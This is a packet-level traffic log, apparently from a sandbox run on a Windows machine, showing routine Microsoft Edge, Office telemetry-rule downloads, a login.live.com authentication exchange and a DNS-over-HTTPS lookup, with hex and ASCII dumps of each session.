2024-11-20 22:12:44 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:45 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 20 Nov 2024 22:12:44 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221244Z-1777c6cb754gvvgfhC1TEBz4rg0000000a8000000000fkev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:45 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:45 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:45 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221245Z-178bfbc474bxkclvhC1NYC69g400000000cg0000000059y0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:46 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:45 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221245Z-178bfbc474b9fdhphC1NYCac0n00000000d0000000002y9v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:46 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221246Z-178bfbc474bfw4gbhC1NYCunf400000000kg00000000hvv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221246Z-r1d97b9957747b9jhC1TEBgyec00000009hg00000000h79c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221247Z-1777c6cb754b7tdghC1TEBwwa40000000a7g00000000tsca x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:47 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221247Z-178bfbc474bh5zbqhC1NYCkdug00000000eg000000000enn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49801	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 22:12:47 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 22:12:48 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 22:11:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 2a7e10b0-38ba-400e-9e31-1cc8457efcb5 PPServer: PPV: 30 H: BL02EPF0001D702 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:12:47 GMT Connection: close Content-Length: 1276
2024-11-20 22:12:48 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:48 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221248Z-1777c6cb7544nvmshC1TEBf7qc0000000a3g000000001ktw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221248Z-r1d97b99577jlrkbhC1TEBq8d000000009cg000000008ehs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49836	172.64.41.3	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 22:12:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
